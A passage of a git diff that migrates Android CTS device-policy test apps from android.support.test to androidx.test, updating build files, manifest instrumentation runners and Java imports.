diff --git a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk
index 9ebfbc8..fd40498 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk
@@ -27,7 +27,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, ../src-owner)
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 ctstestrunner ub-uiautomator android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 ctstestrunner-axt ub-uiautomator androidx.test.rules
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
index b3adc70..a84b5bc 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
@@ -27,7 +27,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 ctstestrunner ub-uiautomator android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 ctstestrunner-axt ub-uiautomator androidx.test.rules
LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/AndroidManifest.xml b/hostsidetests/devicepolicy/app/AccountCheck/Tester/AndroidManifest.xml
index a6ea4aa..fe5fb2dc 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Tester/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Tester/AndroidManifest.xml
@@ -38,7 +38,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.devicepolicy.accountcheck.auth" />
</manifest>
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/Android.mk b/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
index 55e93c3..2ce6c5d 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
@@ -29,9 +29,9 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
androidx.legacy_legacy-support-v4 \
- ctstestrunner \
+ ctstestrunner-axt \
ub-uiautomator \
- android-support-test
+ androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/AndroidManifest.xml b/hostsidetests/devicepolicy/app/AccountManagement/AndroidManifest.xml
index 9c31a62..c951d2a 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/AccountManagement/AndroidManifest.xml
@@ -35,7 +35,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.devicepolicy.accountmanagement"
android:label="Account policy CTS Tests" />
</manifest>
diff --git a/hostsidetests/devicepolicy/app/Assistant/Android.mk b/hostsidetests/devicepolicy/app/Assistant/Android.mk
index efd6cd1..6b16d40 100644
--- a/hostsidetests/devicepolicy/app/Assistant/Android.mk
+++ b/hostsidetests/devicepolicy/app/Assistant/Android.mk
@@ -31,8 +31,8 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
androidx.legacy_legacy-support-v4 \
- compatibility-device-util \
- android-support-test \
+ compatibility-device-util-axt \
+ androidx.test.rules \
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/devicepolicy/app/Assistant/AndroidManifest.xml b/hostsidetests/devicepolicy/app/Assistant/AndroidManifest.xml
index 17ca642..f4d42aa 100644
--- a/hostsidetests/devicepolicy/app/Assistant/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/Assistant/AndroidManifest.xml
@@ -43,7 +43,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.devicepolicy.assistapp"
android:label="Assistant related device policy CTS" />
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
index 020d0bd..c2fdb5f 100644
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
@@ -34,7 +34,7 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit android.test.base.stubs
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
LOCAL_SDK_VERSION := test_current
@@ -59,7 +59,7 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit android.test.base.stubs
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/AndroidManifest.xml
index 820f1be..f23a692 100644
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/AndroidManifest.xml
@@ -47,7 +47,7 @@
</service>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.comp"
android:label="Corp owned managed profile CTS tests"/>
</manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk
index 8ff609d..0239f6c 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk
@@ -28,8 +28,8 @@
LOCAL_STATIC_JAVA_LIBRARIES = \
androidx.legacy_legacy-support-v4 \
- ctstestrunner \
- android-support-test \
+ ctstestrunner-axt \
+ androidx.test.rules \
truth-prebuilt \
ub-uiautomator
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml
index 79093d6..289f54c 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/AndroidManifest.xml
@@ -40,7 +40,7 @@
</activity>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.crossprofileappstest"
android:label="Launcher Apps CTS Tests"/>
</manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java
index ee7af51..554259e 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsNonTargetUserTest.java
@@ -22,8 +22,9 @@
import android.os.Bundle;
import android.os.UserHandle;
import android.os.UserManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java
index 31baa79..2aa1ae8 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsTargetUserTest.java
@@ -27,13 +27,14 @@
import android.os.Bundle;
import android.os.UserHandle;
import android.os.UserManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
import android.support.test.uiautomator.Until;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
diff --git a/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk b/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
index 81d98f1..c06a984 100644
--- a/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
@@ -27,8 +27,8 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
- compatibility-device-util \
+ androidx.test.rules \
+ compatibility-device-util-axt \
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/devicepolicy/app/CustomizationApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CustomizationApp/AndroidManifest.xml
index be6249f..a3b0507 100644
--- a/hostsidetests/devicepolicy/app/CustomizationApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CustomizationApp/AndroidManifest.xml
@@ -27,7 +27,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.customizationapp"
android:label="Customization CTS Tests" />
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/Android.mk b/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
index 1d0be1d..0eb904a 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
@@ -28,8 +28,8 @@
LOCAL_STATIC_JAVA_LIBRARIES = \
androidx.legacy_legacy-support-v4 \
- ctstestrunner \
- android-support-test
+ ctstestrunner-axt \
+ androidx.test.rules
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
index cc139a4..a3f8157 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DelegateApp/AndroidManifest.xml
@@ -24,7 +24,7 @@
android:exported="true">
</activity>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.delegate"
android:label="Delegation CTS Tests"/>
</manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
index 5cf7f05..0663e7c 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
@@ -27,8 +27,8 @@
LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util
+ ctstestrunner-axt \
+ compatibility-device-util-axt
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/AndroidManifest.xml
index d70b22d..8e2fdc2 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/AndroidManifest.xml
@@ -46,7 +46,7 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.deviceadmin23"
android:label="Device Admin CTS tests"/>
</manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
index a7c7470..a7da461 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
@@ -27,8 +27,8 @@
LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util
+ ctstestrunner-axt \
+ compatibility-device-util-axt
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/AndroidManifest.xml
index e2d785c..30bd6dc 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/AndroidManifest.xml
@@ -46,7 +46,7 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.deviceadmin24"
android:label="Device Admin CTS tests"/>
</manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk
index 55cf2b3..2689607 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk
@@ -26,7 +26,7 @@
LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/AndroidManifest.xml
index 47f3c6a..d2b4b0c 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/AndroidManifest.xml
@@ -41,6 +41,6 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.deviceadminservice" />
</manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk
index 8725fb7..4726b8d 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk
@@ -26,7 +26,7 @@
LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/AndroidManifest.xml
index 0ff8e68..c57eb8e 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/AndroidManifest.xml
@@ -41,6 +41,6 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.deviceadminservice" />
</manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk
index fdc7e7a..8ac6307 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk
@@ -26,7 +26,7 @@
LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/AndroidManifest.xml
index 5d63794..46a5fee 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/AndroidManifest.xml
@@ -40,6 +40,6 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.deviceadminservice" />
</manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk
index 02bf1e5..32c061a 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk
@@ -26,7 +26,7 @@
LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/AndroidManifest.xml
index b43d086..3a98de5 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/AndroidManifest.xml
@@ -46,6 +46,6 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.deviceadminservice" />
</manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk
index cf21905..54493f2 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk
@@ -26,7 +26,7 @@
LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/AndroidManifest.xml
index 95d203a..beb23a8 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/AndroidManifest.xml
@@ -39,6 +39,6 @@
</service>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.deviceadminservice" />
</manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
index 1599d60..0002333 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
@@ -32,8 +32,8 @@
LOCAL_USE_AAPT2 := true
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
cts-security-test-support-library
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/AndroidManifest.xml
index d92d440..793233a 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/AndroidManifest.xml
@@ -40,7 +40,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="Profile and Device Owner CTS Tests API 23"
android:targetPackage="com.android.cts.deviceandprofileowner">
<meta-data
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
index 481f821..c1d6687 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
@@ -32,8 +32,8 @@
LOCAL_USE_AAPT2 := true
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
cts-security-test-support-library
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/AndroidManifest.xml
index a8d249c..e99ed7c 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/AndroidManifest.xml
@@ -37,7 +37,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="Profile and Device Owner CTS Tests"
android:targetPackage="com.android.cts.deviceandprofileowner">
<meta-data
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
index 8c6d3fd..4de65ba 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
@@ -32,8 +32,8 @@
LOCAL_USE_AAPT2 := true
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
cts-security-test-support-library
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
index 5419611..1550fe6 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
@@ -82,7 +82,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="Profile and Device Owner CTS Tests"
android:targetPackage="com.android.cts.deviceandprofileowner">
<meta-data
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java
index d076920..e171636 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AssistScreenCaptureDisabledTest.java
@@ -1,17 +1,18 @@
package com.android.cts.deviceandprofileowner;
+import static org.junit.Assert.assertEquals;
+
import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.graphics.Bitmap;
-import android.os.Handler;
-import android.os.Looper;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.BlockingBroadcastReceiver;
import org.junit.Assert;
@@ -22,8 +23,6 @@
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
-import static org.junit.Assert.assertEquals;
-
/**
* Testing
* {@link android.app.admin.DevicePolicyManager#setScreenCaptureDisabled(ComponentName, boolean)}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
index 93ea709..6cab658 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
@@ -17,7 +17,8 @@
import android.app.KeyguardManager;
import android.app.admin.DevicePolicyManager;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
public class ResetPasswordWithTokenTest extends BaseDeviceAdminTest {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
index c3f6d12..9607557 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
@@ -37,9 +37,9 @@
LOCAL_USE_AAPT2 := true
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util \
- android-support-test \
+ ctstestrunner-axt \
+ compatibility-device-util-axt \
+ androidx.test.rules \
cts-security-test-support-library \
testng
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
index b4dff59..e461e8e 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
@@ -94,7 +94,7 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="com.android.cts.deviceowner"
android:label="Device Owner CTS tests">
<meta-data
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
index 0afc16e..57d200b 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
@@ -16,11 +16,19 @@
package com.android.cts.deviceowner;
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertArrayEquals;
+
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
@@ -29,12 +37,6 @@
import java.util.Collections;
import java.util.Set;
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertFalse;
-import static junit.framework.Assert.assertTrue;
-import static junit.framework.Assert.fail;
-import static org.junit.Assert.assertArrayEquals;
-
@RunWith(AndroidJUnit4.class)
public class AffiliationTest {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
index 9175d9b..c19e25d 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
